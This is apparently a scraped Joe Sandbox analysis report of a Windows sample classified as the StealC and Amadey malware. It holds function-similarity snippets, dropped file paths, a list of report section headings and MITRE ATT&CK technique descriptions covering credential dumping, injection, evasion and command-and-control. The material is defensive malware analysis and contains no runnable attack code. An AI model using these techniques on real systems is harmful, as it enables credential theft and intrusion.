Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 434e248cc66de1bd06b4f24d5cfa96a8c901b5b21170726e295f572aa1deebc3
Instruction ID: d2d4f6285464dc56c5de82da18053c5789d7bd24916e8c158dbadd7dd7565336
Opcode Fuzzy Hash: 434e248cc66de1bd06b4f24d5cfa96a8c901b5b21170726e295f572aa1deebc3
Instruction Fuzzy Hash: F441AEB16042168BEB14CF68D88076AB7B6FB49309F14493DD516EBB40F736E906CB92

Function 6CC26E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6CC26EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6CC26EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6CC26F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CC26F5C

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: f82075291f43f0a1c344ff8fbd4267e1fa510db9d47f3a1e25ae8ddab75d67db
Instruction ID: 36db2868f7dc7c04d6712e96e10018ac63a522237b93f0c1047490041e088c1b
Opcode Fuzzy Hash: f82075291f43f0a1c344ff8fbd4267e1fa510db9d47f3a1e25ae8ddab75d67db
Instruction Fuzzy Hash: D231D271A10A0A8FDB14CF2CC9806AA73E9EB85304F50813AD41AD7655FB35E659C7A0

Function 6CC3B580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6CBE0A4D), ref: 6CC3B5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6CBE0A4D), ref: 6CC3B623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6CBE0A4D), ref: 6CC3B66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6CBE0A4D), ref: 6CC3B67F

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 838223695c87f802e43573587eb60c99a1327c13356f1ce2e1d4d581b6e2772a
Instruction ID: 6e424f11e14648186abd74860196fd97b3429ae450c43d5ee00fac2dda5501f3
Opcode Fuzzy Hash: 838223695c87f802e43573587eb60c99a1327c13356f1ce2e1d4d581b6e2772a
Instruction Fuzzy Hash: 7E31F471B006268FDB14CF58DC5465ABBB5FF84314F5A852AC80AAB202EB31E915CBA0

Function 6CC0F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6CC0F611
memcpy.VCRUNTIME140(?,?,?), ref: 6CC0F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6CC0F652
memcpy.VCRUNTIME140(?,?,?), ref: 6CC0F668

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: 5197d21bc31e978b3ddbde89761fd81b23ee4b6f9d97a852de11a0a1b776ba54
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 7A313071B006149FC714CF59CCC0A9A77B6FB84358B14C539EA498BB15E672E9848B94

Function 6CC226B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CC226C1
free.MOZGLUE(?), ref: 6CC226E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CC226FF
free.MOZGLUE ref: 6CC2270D

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 6b30427aff35c9e4235e33e90e297c466e38f9bdcb39683ed674373cab229a6f
Instruction ID: f2df65a87d6874af66f0fe78038c00d4fcb94c3ee86623de9acffc1b6ea63a07
Opcode Fuzzy Hash: 6b30427aff35c9e4235e33e90e297c466e38f9bdcb39683ed674373cab229a6f
Instruction Fuzzy Hash: DBF0F4B27012005BE7009A18DC88E4BB3A9EF45328B500035EA1AD3B02F736F929C6A6

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AFHDBGHJKFIDHJJJEBKE

C:\ProgramData\EBKKKEGIDBGHIDGDHDBFHDAKJJ

C:\ProgramData\EHCAEGDH

C:\ProgramData\FBGHCGCAEBFIJKFIDBGH

C:\ProgramData\GHJDHDAE

C:\ProgramData\IDGDAAKFHIEHIECAFBAAEBKFBA

C:\ProgramData\KKKJKEBKFCAAECAAAAAE

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

Windows Analysis Report
file.exe

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre